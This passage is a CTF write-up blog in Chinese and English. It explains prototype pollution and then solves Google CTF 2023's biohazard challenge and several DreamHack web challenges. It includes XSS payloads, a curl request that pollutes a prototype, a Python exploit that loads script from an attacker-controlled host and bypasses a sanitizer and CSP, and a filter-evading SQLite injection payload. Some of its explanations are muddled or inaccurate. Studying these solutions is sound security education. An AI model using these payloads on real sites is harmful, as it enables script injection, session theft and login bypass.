    • 這樣的注入可能會影響到應用程式或庫的行為,因為它們可能會使用這些屬性來執行特定的功能或操作
  • Prototype pollution via JSON input

    1
    2
    3
    4
    5
    {
    "__proto__": {
    "evilProperty": "payload"
    }
    }
    • 使用者可控制的 JSON 輸入也可用於污染原型。
    • JSON.parse() 將 JSON 物件中的任何鍵視為任意字串,包括**proto**
    • 例如,如果攻擊者註入**{“proto“: {“evilProperty”: “payload”}}proto**,則產生的物件將具有帶有 key 的屬性
    1
    2
    3
    4
    5
    const objectLiteral = {__proto__: {evilProperty: 'payload'}};
    const objectFromJson = JSON.parse('{"__proto__": {"evilProperty": "payload"}}');

    objectLiteral.hasOwnProperty('__proto__'); // false
    objectFromJson.hasOwnProperty('__proto__'); // true
    • 如果在沒有適當的按鍵清理的情況下將該物件合併到現有物件中,則可能會導致分配期間的原型污染。

A sink 

  • Prototype pollution sinks
  • 本質上只是一個 JavaScript 函數或 DOM 元素,您可以通過原型污染訪問它,這使您能夠執行任意 JavaScript 或系統命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 先假設可以污染原型上的屬性
Object.prototype.innerHTML = '<img src=x onerror=alert(1)>'

// 底下都跟剛剛一樣
var qs = new URLSearchParams(location.search.slice(1))

document.body.appendChild(createElement({
tag: 'h2',
innerText: `Search result for ${qs.get('q')}`
}))

function createElement(config){
const element = document.createElement(config.tag)
// 這一行因為原型鏈被污染,所以 if(config.innerHTML) 的結果會是 true
if (config.innerHTML) {
element.innerHTML = config.innerHTML
} else {
element.innerText = config.innerText
}
return element
}
  • 當我們假設可以污染原型並將 Object.prototype.innerHTML 設置為 <img src=x onerror=alert(1)> 時,無論 config 物件是否提供 innerHTML 屬性,該屬性都會被視為存在且為真值
  • 這是因為 JavaScript 在檢查物件屬性時,會在原型鏈上查找,即使 config 物件本身沒有該屬性,它的原型鏈上有一個非空的 innerHTML 屬性,因此被視為真值。

An exploitable gadget 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>

<html lang="en">
<head>
<meta charset="utf-8">
<script src="https://cdnjs.cloudflare.com/ajax/libs/sanitize-html/1.27.5/sanitize-html.min.js"></script>
</head>
<body>
<script>
Object.prototype.innerText = '<svg onload=alert(1)></svg>';
document.write(sanitizeHtml('<div>hello</div>'))
</script>
</body>
</html>
  • 在污染了 Object.prototype.innerText 之後,就觸發了XSS
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

const child_process = require('child_process')
const params = ['123 && ls']
Object.prototype.shell = true // 只多了這行,參數的解析就會不一樣
const result = child_process.spawnSync(
'echo', params, {timeout: 1000}
);
console.log(result.stdout.toString())
/*
123
index.js
node_modules
package-lock.json
package.json
*/

回歸正題,目標應該是在網站中找到一個XSS漏洞並竊取cookie拿到flag

在打開網頁後可以看到這樣的畫面,我們需要對其輸入一些資訊,介紹欄位是插入到頁面中的文字

Untitled

不過這受到Google自己的 Closure Library 的保護,免受 XSS 攻擊

那目標就是繞過這些XSS保護得到XSS漏洞

通過查看頁面的程式碼

使用了 unsafe.alsoAllowTags() 方法,這個方法的作用是允許特定的 HTML 標籤,其中包括了 <IFRAME> 標籤。註釋中提到 “IFRAME is required for Youtube embed”,暗示了這段程式碼的目的是為了嵌入 YouTube 影片而允許 <IFRAME> 標籤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
window.addEventListener('DOMContentLoaded', () => {
var Const = goog.string.Const;
var unsafe = goog.html.sanitizer.unsafe;
var builder = new goog.html.sanitizer.HtmlSanitizer.Builder();
builder = unsafe.alsoAllowTags(
Const.from('IFRAME is required for Youtube embed'), builder, ['IFRAME']);
sanitizer = unsafe.alsoAllowAttributes(
Const.from('iframe#src is required for Youtube embed'), builder,
[
{
tagName: 'iframe',
attributeName: 'src',
policy: (s) => s.startsWith('https://') ? s : '',
}
]).build();
});

那前面提到的原型汙染問題出現在哪裡呢?

先來了解一下 Object.assign()

  • Object.assign() 方法將源物件的可列舉屬性(enumerable properties)複製到目標物件。它只複製物件自身的屬性,不包括原型鏈上的屬性
  • 這就意味著 Object.assign() 不會複製源物件的原型(__proto__)到目標物件的原型
  • 如果目標物件本身是一個具有原型(即 __proto__)的物件,Object.assign() 會直接修改目標物件的原型,而不是在目標物件本身上添加屬性
1
2
3
4
//不受原型汙染影響
let testobj = {"a":1, "b":2}
Object.assign(testobj, JSON.parse('{"__proto__":{"polluted": "true"}}'))
testobj.polluted === undefined //testobj屬性不包含polluted屬性,所以testobj.polluted的值是undefined
  • testobj.__proto__(即 testobj 的原型)作為目標集,使用 Object.assign() 方法將具有屬性 "polluted": true 的物件合併到 testobj 的原型中
  • 因為 testobj 的原型被直接修改,所以這將導致原型污染。現在,任何通過 testobj 繼承的物件都會具有 "polluted": true 屬性
  • testobj.polluted的值將是 true
1
2
3
4
//受原型汙染影響
let testobj = {"a":1, "b":2}
Object.assign(testobj.["__proto__"], JSON.parse('{"polluted": true}'))
testobj.polluted === true

讓我們來看一下該網頁的原始碼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
interestObj = {"favorites":{}};
const uuid = viewPath[1];
const xhr = new XMLHttpRequest();
xhr.addEventListener("load", () => {
if (xhr.status === 200) {
const json = JSON.parse(xhr.response);
for (const key of Object.keys(json)) {
if (interestObj[key] === undefined) {
interestObj[key] = json[key];
} else{
Object.assign(interestObj[key], json[key]);
}
}
} else {
alert(xhr.response);
location.href = '/';
}
});
xhr.open('GET', `/bio/${uuid}`, false);
xhr.send();
  1. 在遍歷 JSON 物件時,會將每個屬性添加到 interestObj 中。如果 interestObj 已經有了相同的屬性,則使用 Object.assign() 方法將來自 JSON 物件的值合併到已有的物件中。這包括了 proto 屬性。
  2. 由於 proto 是一個特殊的屬性,它是物件的原型。在這段程式碼中,當 proto 屬性存在於 JSON 物件中時,Object.assign()` 方法將直接修改 interestObj 的原型,而不是在 interestObj 本身上添加屬性。
  3. 這樣一來,interestObj 的原型就被成功地污染了,使得全局作用域中的變量可以被修改。這種原型污染漏洞可能導致安全風險,因為攻擊者可以利用它來修改全局作用域中的變量,進而影響應用程式的行為。
  4. 使用者控制的資料:這裡的關鍵元素是 xhr.response。它有雙重目的:
    1. /bio/<UUID> 的 GET 請求的回應正文,檢索使用者設定檔資訊。
    2. 傳送至 /bio/<UUID>/create 的 POST 請求的回應正文,用於建立新設定檔。
  5. 攻擊向量:攻擊者可以透過向 /create 端點建構惡意 POST 請求來操縱 xhr.response。這涉及在設定檔資料 (json) 中包含 "proto": {"polluted": true}

在這種表單輸入的題目,使用者可以自行控制內容,可以通過向目標頁面發送POST請求,去創建內容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

curl 'https://biohazard-web.2023.ctfcompetition.com/create' \
-X POST \
-H 'content-type: application/json' \
--data-raw '{"name":"test","introduction":"","favorites":{"hobbies":"","sports":""}, "__proto__": {"polluted": true}}'

//{"id":"1025c907-69b7-4b3e-a756-c0413c4643d8"}

------------------------------
fetch('/create', {
method:'POST',
headers: {
"Content-Type": "application/json",
},
body: `{"name":"test","introduction":"","favorites":{"hobbies":"","sports":""}, "__proto__": {"polluted": true}}`
});
  • Exploit Sequence
    • 攻擊者控制的 xhr.response 被解析為 JavaScript 物件 ( json)。

    • 程式碼使用 Object.keys() 迭代 json 中的KEY。這包括「name」、「introduction」、「favorites」和關鍵的「proto」

      1
      interestObj[key] = json[key]
    • 由於 interestObj已經擁有自己的原型,遇到「proto」不會觸發if blockinterestObj[“proto”]不會是未定義的)。

    • 因此,else block 執行,使用 Object.assignjson["proto"] 合併到 interestObj["proto"] 中。

      1
      Object.assign(interestObj[key], json[key])
    • 關鍵在於 json["proto"] 是攻擊者精心製作的數據,其中包含 {“polluted”: true} 屬性。

    • 合併後, interestObj["proto"] 成為攻擊者控制的具有污染屬性的原型物件。

前面有提到,這題使用 Google Closure 保護網頁不受XSS危害

那如何bypass Google Closure?

Prototype pollution - and bypassing client-side HTML sanitizers - research.securitum.com 在查看了這網站後得到了啟發

Closure sanitizer 使用的是白名單,這檔案可以 https://github.com/google/closure-library/blob/master/closure/goog/html/sanitizer/attributeallowlists.js 在這查看到

1
2
3
4
5
6
7
8
9
10
11
const AllowedAttributes = {
//'* ATTRIBUTE_NAME': true,
'* ARIA-CHECKED': true,
'* ARIA-COLCOUNT': true,
'* ARIA-COLINDEX': true,
...
'* VALUE': true,
'* VSPACE': true,
'* WIDTH': true
};
exports.AllowedAttributes = AllowedAttributes;
  • AllowedAttributes Object
    • 該物件充當字典,其中鍵代表 HTML 標記名稱和屬性名稱的組合。
    • 每個key均遵循格式 * TAG_NAME ATTRIBUTE_NAME
    • 星號 (*) 可能表示該規則適用於 TAG_NAME 的任何值
    • 與每個key關聯的值是一個布林值(true)
    • 指定 tag 允許使用相應的 attribute

通過添加到 create POST 請求中來注入新的標籤和屬性

1
AllowedAttributes{"__proto__": {"TAG_NAME ATTRIBUTE_NAME": true}}

這樣就可以繞過 Closure sanitizer,但還需要繞CSP,但可能就會有人想,都繞過了 Closure sanitizer為何還要繞CSP

  • Closure sanitizer的作用:
    • Closure sanitizer 充當白名單,在使用者控制的資料插入 HTML 之前過濾掉潛在危險的屬性。
    • 透過利用原型污染漏洞,您可以操縱消毒劑的白名單,允許未經授權的屬性通過。
  • CSP 的角色:
    • CSP 是一種由 Web 伺服器實現的安全性策略,用於限制應用程式載入腳本、樣式表、圖像和字體等資源的來源。
    • 它旨在透過防止執行未經授權的來源的惡意程式碼來緩解 XSS(跨站腳本)攻擊等漏洞。

為什麼兩者都是必要的:

  • Sanitizer Bypass Doesn’t Guarantee Execution:
    • 即使您繞過sanitizer並注入惡意屬性,也可能無法保證執行。
    • 如果該屬性指向來自未經授權的來源的惡意腳本,CSP 仍可能會阻止該屬性的執行。
  • CSP 實施限制:
    • CSP 充當獨立的安全層,限制應用程式可以取得和執行程式碼的位置。
    • 繞過清理程式僅允許未經授權的屬性,但 CSP 仍可能阻止它們載入惡意資源。
  • 例子:
    • 想像一下,您繞過 sanitizer 並注入指向惡意腳本的 onerror 屬性。
    • 但是,如果 CSP 將腳本載入限製到特定網域,則惡意腳本將不會執行,從而防止攻擊。
  • 綜上所述:
    • 繞過 Closure sanitizer 可以讓您更自由地製作潛在的惡意元素。
    • 要實現全面的攻擊,您通常還需要繞過 CSP。它充當單獨的防禦層,確保即使未經授權的屬性漏掉,由於來源限制,它們也不一定能夠執行惡意程式碼。

CSP bypass by restricting CSP

先來查找XSS漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import {trustedResourceUrl} from 'safevalues';
import {safeScriptEl} from 'safevalues/dom';

[...]

function loadEditorResources() {
[...]
const script = document.createElement('script');
safeScriptEl.setSrc(script, trustedResourceUrl(editor));
document.body.appendChild(script);
}

window.addEventListener('DOMContentLoaded', () => {
render();
if (!location.pathname.startsWith('/view/')) {
loadEditorResources();
}
});

前面import了trustedResourceUrl

Untitled

  • Script URLs 可能很危險,因為它們允許在目前網頁的來源(網域)內執行程式碼
  • 僅僅知道 URL 的來源是不夠的。惡意行為者可以利用某些網域上的開放重定向來重新導向到包含有害腳本的任意 URL

通過查看 !location.pathname.startsWith('/view/') ,能發現他從bootstrap.js獲取變數

Untitled

1
2
3
4
5
if (!location.pathname.startsWith('/view/')) {
....
editor = (x=>x)`/static/editor.js`;
}

1
2
(()=>{var e=new goog.editor.Field("editMe");e.registerPlugin(new goog.editor.plugins.BasicTextFormatter),e.registerPlugin(new goog.editor.plugins.RemoveFormatting),e.registerPlugin(new goog.editor.plugins.UndoRedo),e.registerPlugin(new goog.editor.plugins.ListTabHandler),e.registerPlugin(new goog.editor.plugins.SpacesTabHandler),e.registerPlugin(new goog.editor.plugins.EnterHandler),e.registerPlugin(new goog.editor.plugins.HeaderFormatter),e.registerPlugin(new goog.editor.plugins.LoremIpsum("Click here to edit")),e.registerPlugin(new goog.editor.plugins.LinkDialogPlugin),e.registerPlugin(new goog.editor.plugins.LinkBubble);const o=[goog.editor.Command.LINK,goog.editor.Command.BOLD,goog.editor.Command.ITALIC,goog.editor.Command.UNORDERED_LIST,goog.editor.Command.FONT_COLOR,goog.editor.Command.FONT_FACE,goog.editor.Command.FONT_SIZE,goog.editor.Command.JUSTIFY_LEFT,goog.editor.Command.JUSTIFY_CENTER,goog.editor.Command.JUSTIFY_RIGHT];var g=goog.ui.editor.DefaultToolbar.makeToolbar(o,goog.dom.getElement("toolbar"));new goog.ui.editor.ToolbarController(e,g),e.makeEditable(),goog.events.listen(e,goog.editor.Field.EventType.DELAYEDCHANGE,(function(){let o=e.getCleanContents(),g=goog.dom.getElement("youtube").value;if(g.startsWith("https://www.youtube.com/watch")){let e=new URL(g),t=new URLSearchParams(e.search),i=document.createElement("iframe");i.src=`https://www.youtube.com/embed/${t.get("v")}`,i.width="560",i.height="315",o+="<br>"+i.outerHTML}let t=sanitizer.sanitize(o);setInnerHTML(goog.dom.getElement("preview"),t),goog.dom.getElement("introduction").value=t}))})();

簡單來說他的調用流程是

main.js > !location.pathname.startsWith(‘/view/’) > bootstrap.js > editor = (x=>x) /static/editor.js; > main.js > safeScriptEl.setSrc(script, trustedResourceUrl(editor)) > editor (bootstrap.js)

如果攻擊者能夠控制 editor 變數,並將其設置為指向包含惡意 JavaScript 的 URL,那麼當該頁面被其他用戶訪問時,瀏覽器將會自動下載並執行這個指定的 JavaScript,從而觸發 XSS 漏洞,使得攻擊者能夠在受害者的瀏覽器上執行任意的 JavaScript ,從而達到竊取用戶信息、盜取會話令牌、導致用戶重定向到惡意網站等惡意目的

查看 Closure sanitizer 配置,如果 iframe 內的頁面與父頁面same-origin,則可以使用 iframe 中的屬性來阻止 iframe 內的某些資源(使用 CSP)。因此,您可以阻止loading

我們可以使用的一個巧妙技巧是 iframe 並使用 csp 屬性對嵌入文件強制實施內容安全策略(請注意,這又是一個僅在 Chrome 61+ 中存在的實驗性功能,但在 Firefox 或 Safari 中不存在),使用以下 iframe 來阻止在 iframe 中的文件中載入

1
2
<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

這個 JavaScript 文件將會被用於在 iframe 中執行,從而繞過了對主要頁面的 CSP (Content Security Policy) 限制。

  1. 利用原型污染漏洞控制變數:利用之前發現的原型污染漏洞,將變數(editor)設置為指向惡意的 JavaScript 文件的 URL。這樣做可以控制網頁加載的腳本,從而執行任意的 JavaScript 。
  2. 使用 iframe 嵌入:將包含惡意 JavaScript 的 iframe 嵌入到主要頁面中。這樣,即使主頁面上的 CSP 配置阻止直接載入該 JavaScript,但在 iframe 中載入的 JavaScript 仍然可以執行。這就是通過 iframe 的方式來繞過 CSP 的限制。
  3. 利用頁面路徑的特性:這個攻擊利用了頁面路徑的特性,特別是對 /view/ 路徑的處理。在這個應用中,當 URL 的路徑以 /view/ 開頭時,不會執行與頁面初始化相關的程式。但是,通過將路徑設置為 **/test/view/[bio_uuid]**,在此之後的所有路徑信息都會被視為 UUID,並且相應的初始化程式將被執行。

綜合這些步驟,可以成功地繞過主頁面的 CSP 限制,並在 iframe 中執行惡意的 JavaScript ,從而實現 XSS 攻擊。

以下python腳本創建第一個 Bio 並覆蓋第一個 Bio,並使用特定的 CSP 對第一個 Bio 進行 iframe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python
import requests

URL = "https://biohazard-web.2023.ctfcompetition.com"

headers = {
'content-type': 'application/json',
}

first_response = requests.post(f"{URL}/create", headers=headers, json={
"name": "test",
"introduction": "<a id=editor href=https://attack.shhnjk.com/alert.js></a><a id=editor></a>",
"favorites": {"hobbies": "", "sports": ""},
"__proto__": {"* ID": True}
})
first_bio = first_response.json()

second_response = requests.post(f"{URL}/create", headers=headers, json={
"name": "test",
"introduction": f"<iframe src=\"{URL}/views/view/{first_bio['id']}\" csp=\"script-src https://attack.shhnjk.com/alert.js {URL}/static/closure-library/ {URL}/static/sanitizer.js {URL}/static/main.js 'unsafe-inline' 'unsafe-eval'\"></iframe>",
"favorites": {"hobbies": "", "sports": ""},
"__proto__": {"IFRAME CSP": True}
})
second_bio = second_response.json()
print(f"Report URL: {URL}/view/{second_bio['id']}")

1
2
3
4
┌──(root㉿kali)-[~]
└─# python3 expjs.py
Report URL: https://biohazard-web.2023.ctfcompetition.com/view/9991bfe8-c422-4258-89d3-600b305c8a07

並開啟網頁查看,可以看到成功繞過了CSP嵌入了iframe語法

Untitled

DreamHack Web Part1

WEB

EZ_command_injection

  • Description

ez command injection chall

Host: host3.dreamhack.games

Port:  11953/tcp → 8000/tcp

For pwnables: nc host3.dreamhack.games 11953

For Web: http://host3.dreamhack.games:11953/

It give some file which is app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python3
import subprocess
import ipaddress
from flask import Flask, request, render_template

app = Flask(__name__)

@app.route('/', methods=['GET'])
def index():
return render_template('index.html')

@app.route('/ping', methods=['GET'])
def ping():
host = request.args.get('host', '')
try:
addr = ipaddress.ip_address(host)
except ValueError:
error_msg = 'Invalid IP address'
print(error_msg)
return render_template('index.html', result=error_msg)

cmd = f'ping -c 3 {addr}'
try:
output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=8)
return render_template('index.html', result=output.decode('utf-8'))
except subprocess.TimeoutExpired:
error_msg = 'Timeout!!!!'
print(error_msg)
return render_template('index.html', result=error_msg)
except subprocess.CalledProcessError:
error_msg = 'An error occurred while executing the command'
print(error_msg)
return render_template('index.html', result=error_msg)

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)

You can notice here ('/ping', methods=['GET']), the host parameter is allowed in the ping directory

Untitled

1
http://host3.dreamhack.games:23815/ping?host=

If you enter ipaddress you can notice the server output An error occurred while executing the command

Untitled

If you enter the common command injection payload after the IP

Untitled

So let’s review the code

1
addr = ipaddress.ip_address(host)

Maybe we need to find a way around ipaddress restriction

Go search for this part of python parameters

https://docs.python.org/3/library/ipaddress.html#ipaddress.IPv6Address

  • class ipaddress.IPv6Address(address)
1
2
3
4
5
6
7
8
9
10
11
Construct an IPv6 address. An [AddressValueError](https://docs.python.org/3/library/ipaddress.html#ipaddress.AddressValueError) is raised if *address* is not a valid IPv6 address.
The following constitutes a valid IPv6 address:
1. A string consisting of eight groups of four hexadecimal digits, each group representing 16 bits. The groups are separated by colons. This describes an *exploded* (longhand) notation. The string can also be *compressed* (shorthand notation) by various means. See **[RFC 4291](https://datatracker.ietf.org/doc/html/rfc4291.html)** for details. For example, "0000:0000:0000:0000:0000:0abc:0007:0def" can be compressed to "::abc:7:def".
Optionally, the string may also have a scope zone ID, expressed with a suffix %scope_id. If present, the scope ID must be non-empty, and may not contain %. See **[RFC 4007](https://datatracker.ietf.org/doc/html/rfc4007.html)** for details. For example, fe80::1234%1 might identify address fe80::1234 on the first link of the node.
2. An integer that fits into 128 bits.
3. An integer packed into a [bytes](https://docs.python.org/3/library/stdtypes.html#bytes) object of length 16, big-endian.>>>

**>>> ipaddress.IPv6Address('2001:db8::1000')
IPv6Address('2001:db8::1000')
>>> ipaddress.IPv6Address('ff02::5678%1')
IPv6Address('ff02::5678%1')**

I noticed something about the scope ID of IPV6

what %scope_id Let’s dig into this part

IPv6 connectivity must first be considered within its own scope.
This is why this parameter is needed

The link local addresses of all network cards in the world are on the same fe80::/16 network segment! , but they may not necessarily be able to ping each other. This is a big difference from IPv4.

All link-local addresses of IPv6 are in the same network segment, and IP routing alone is not enough to allow them to communicate with each other.

IPv6 addresses have strict scope restrictions. Two addresses must first be restricted within their own scopes, and then routing connectivity is considered.

The following %enp0s9 is required, it specifies the dimension of a link! Otherwise, without this dimension restriction, the next bottom layer of the ping6 command will be addressed according to the longest prefix matching rule for global addresses.

1
2
3
4
5
ping6 fe80::ebad:9145:fe66:55cc%enp0s9

fe80::1:2:3:4%eth0
fe80::1:2:3:4%9

If we use this method, add scope_id after the IPV6 and execute the command injection command, we may be able to get what we want.

Untitled



baby-sqlite

  • Description

로그인 서비스입니다.
SQL INJECTION 취약점을 통해 플래그를 획득하세요!해당 문제는 숙련된 웹해커를 위한 문제입니다.

Host: host3.dreamhack.games

Port:  23313/tcp → 8001/tcp

For pwnables: nc host3.dreamhack.games 23313

For Web: http://host3.dreamhack.games:23313/

this question only give a one file ⇒ app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/env python3
from flask import Flask, request, render_template, make_response, redirect, url_for, session, g
import urllib
import os
import sqlite3

app = Flask(__name__)
app.secret_key = os.urandom(32)
from flask import _app_ctx_stack

DATABASE = 'users.db'

def get_db():
top = _app_ctx_stack.top
if not hasattr(top, 'sqlite_db'):
top.sqlite_db = sqlite3.connect(DATABASE)
return top.sqlite_db

try:
FLAG = open('./flag.txt', 'r').read()
except:
FLAG = '[**FLAG**]'

@app.route('/')
def index():
return render_template('index.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')

uid = request.form.get('uid', '').lower()
upw = request.form.get('upw', '').lower()
level = request.form.get('level', '9').lower()

**sqli_filter = ['[', ']', ',', 'admin', 'select', '\'', '"', '\t', '\n', '\r', '\x08', '\x09', '\x00', '\x0b', '\x0d', ' ']**
for x in sqli_filter:
if uid.find(x) != -1:
return 'No Hack!'
if upw.find(x) != -1:
return 'No Hack!'
if level.find(x) != -1:
return 'No Hack!'


with app.app_context():
conn = get_db()
query = f"SELECT uid FROM users WHERE uid='{uid}' and upw='{upw}' and level={level};"
try:
req = conn.execute(query)
result = req.fetchone()

if result is not None:
uid = result[0]
if uid == 'admin':
return FLAG
except:
return 'Error!'
return 'Good!'

@app.teardown_appcontext
def close_connection(exception):
top = _app_ctx_stack.top
if hasattr(top, 'sqlite_db'):
top.sqlite_db.close()

if __name__ == '__main__':
os.system('rm -rf %s' % DATABASE)
with app.app_context():
conn = get_db()
conn.execute('CREATE TABLE users (uid text, upw text, level integer);')
conn.execute("INSERT INTO users VALUES ('dream','cometrue', 9);")
conn.commit()

app.run(host='0.0.0.0', port=8001)

Enter the login page. If you directly enter the SQL syntax, No Hack will be output.

Untitled

You can notice that uid, upw, and level are written in the program. Only level can be used, and the other two are filtered.

Both uid and upw values are converted to lowercase letters using the lower() method. This conversion operation is to unify the user input into lowercase letters to ensure that there will be no problems due to case in subsequent SQL queries.

Therefore, even if the uid and upw entered by the user contain uppercase letters, they will be converted to lowercase letters before subsequent processing, thus preventing the possibility of bypassing verification through case confusion in SQL injection attacks.

But!

The value of level is set to ‘9’.lower(). This means that even if the user does not provide a value for level, or provides an invalid value, the program will set level to ‘9’ and then convert it to lowercase letters.

The purpose of this setting may be to ensure that the value of level is always a valid number.

However, this also means that even if the user does not provide a value for level, no error will be raised.

And even if a non-numeric value is supplied, it will be treated as ‘9’. Such a design may increase security risks in some cases because it makes it easier for attackers to operate at the level of .

1
2
3
uid = request.form.get('uid', '').lower()
upw = request.form.get('upw', '').lower()
level = request.form.get('level', '9').lower()

Notice that SQL has filtered content that cannot be included when inputting. You need to find a way to bypass it.

User inputs cannot contain any form of whitespaces, including spaces, tabs, and new lines.

but whitespaces can be supplied by using comments (/**/)

1
2
**sqli_filter = ['[', ']', ',', 'admin', 'select', '\'', '"', '\t', '\n', '\r', '\x08', '\x09', '\x00', '\x0b', '\x0d', ' ']**

It need to use admin to login then get the Flag, But admin filtered

SO maybe using SQLite’s built-in function char() and concat operator (||)

And then using UNION replace select

If u go to see the official documentation

https://www.sqlite.org/syntax/compound-select-stmt.html

compound-select-stmt refers to the compound query statement in SQL. In SQL, a compound query statement combines multiple SELECT statements and uses specific keywords to indicate how to combine the results of these queries.

Note here that the UNION statement should be followed by select-core

Untitled

let see select-core

https://www.sqlite.org/syntax/select-core.html

Fortunately, in addition to select, you can also select values

Untitled

Finally build the exploit

1
9/**/union/**/values(char(0x61)||char(0x64)||char(0x6d)||char(0x69)||char(0x6e))

char(0x61)||char(0x64)||char(0x6d)||char(0x69)||char(0x6e) is a method used to construct a string in SQL. The char() function is used to return the ASCII code corresponding character of.

  • char(0x61) is the hexadecimal value 0x61, and the corresponding decimal value is 97, which represents the lowercase letter ‘a’
  • char(0x64) is the decimal value 100, which represents The corresponding ASCII code of the lowercase letter ‘d’
  • char(0x6d) is decimal 109, which represents the lowercase letter ‘m’
  • char(0x69) is decimal 105, which represents the lowercase letter ‘i’
  • char(0x6e) The corresponding ASCII code is decimal 110, which represents the lowercase letter ‘n’.

Untitled


php7cmp4re

  • Description

php 7.4로 작성된 페이지입니다.

알맞은 Input 값을 입력하고 플래그를 획득하세요.

플래그 형식은 DH{} 입니다.

  • Servers

host: host3.dreamhack.games

Port:  23760/tcp → 8000/tcp

For pwnables: nc host3.dreamhack.games 23760

For Web: http://host3.dreamhack.games:23760/

This question it give 3 file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>php7cmp4re</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">php7cmp4re</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Index page</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav>
<div class="container">
<?php
require_once('flag.php');
error_reporting(0);
// POST request
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$input_1 = $_POST["input1"] ? $_POST["input1"] : "";
$input_2 = $_POST["input2"] ? $_POST["input2"] : "";
sleep(1);

if($input_1 != "" && $input_2 != ""){
if(strlen($input_1) < 4){
if($input_1 < "8" && $input_1 < "7.A" && $input_1 > "7.9"){
if(strlen($input_2) < 3 && strlen($input_2) > 1){
if($input_2 < 74 && $input_2 > "74"){
echo "</br></br></br><pre>FLAG\n";
echo $flag;
echo "</pre>";
} else echo "<br><br><br><h4>Good try.</h4>";
} else echo "<br><br><br><h4>Good try.</h4><br>";
} else echo "<br><br><br><h4>Try again.</h4><br>";
} else echo "<br><br><br><h4>Try again.</h4><br>";
} else{
echo '<br><br><br><h4>Fill the input box.</h4>';
}
} else echo "<br><br><br><h3>WHat??!</h3>";
?>
</div>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>php7cmp4re</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-stop">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">php7cmp4re</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">index page</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav>
<div class="container">
<div class="box">
<h4>Enter the correct Input.</h4>
<p>
<form method="post" action="/check.php">
<input type="text" placeholder="input1" name="input1">
<input type="text" placeholder="input2" name="input2">
<input type="submit" value="제출">
</form>
</p>
</div>

<?php
require_once('flag.php');
error_reporting(0);
?>
</div>
</body>
</html>
1
2
3
<?php
$flag = 'flag{**Sample**}'
?>

If u notice the check.php, a check role is about

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if($input_1 != "" && $input_2 != ""){
if(strlen($input_1) < 4){
if($input_1 < "8" && $input_1 < "7.A" && $input_1 > "7.9"){
if(strlen($input_2) < 3 && strlen($input_2) > 1){
if($input_2 < 74 && $input_2 > "74"){
echo "</br></br></br><pre>FLAG\n";
echo $flag;
echo "</pre>";
} else echo "<br><br><br><h4>Good try.</h4>";
} else echo "<br><br><br><h4>Good try.</h4><br>";
} else echo "<br><br><br><h4>Try again.</h4><br>";
} else echo "<br><br><br><h4>Try again.</h4><br>";
} else{
echo '<br><br><br><h4>Fill the input box.</h4>';
}
} else echo "<br><br><br><h3>WHat??!</h3>";

Untitled

  • strlen

(PHP 4, PHP 5, PHP 7)

The strlen() function is used to measure the length of a string.

**Note:**The function returns the number of bytes instead of the number of characters. (For pure ASCII texts without accept characters are the values the same).

let’s sort it out about this role!

  • strlen input_1< 4 ⇒ input_1 string length cannot exceed 4

    • input_1 < “7.A” && input_1 > “7.9” && input_1 < “8”
    • The character after 7 is greater than 9(dec 57) and less than A(dec 65)
      • : ~ @
  • strlen($input_2) < 3 && strlen($input_2) > 1 ⇒ input_2 string length must greater than 1 and less than 3

    • input_2 < 74 && input_2 > “74”

    In PHP, when converting a string to a number, it tries to convert the numeric part at the beginning of the string to a number until it encounters a non-numeric character. This means that if the string starts with a number, PHP will try to parse that number part into a number, ignoring subsequent characters.

    For example, if you have the string “7a”, PHP will try to parse “7” as a number and ignore “a”. Therefore, “7a” would be interpreted as the number 7 in this case.

    Similarly, for the string “7#”, PHP will also try to parse “7” as a number and ignore the “#”. Therefore, “7#” would also be interpreted as the number 7 in this case.

    • So u just type 7 with any non-numeric character
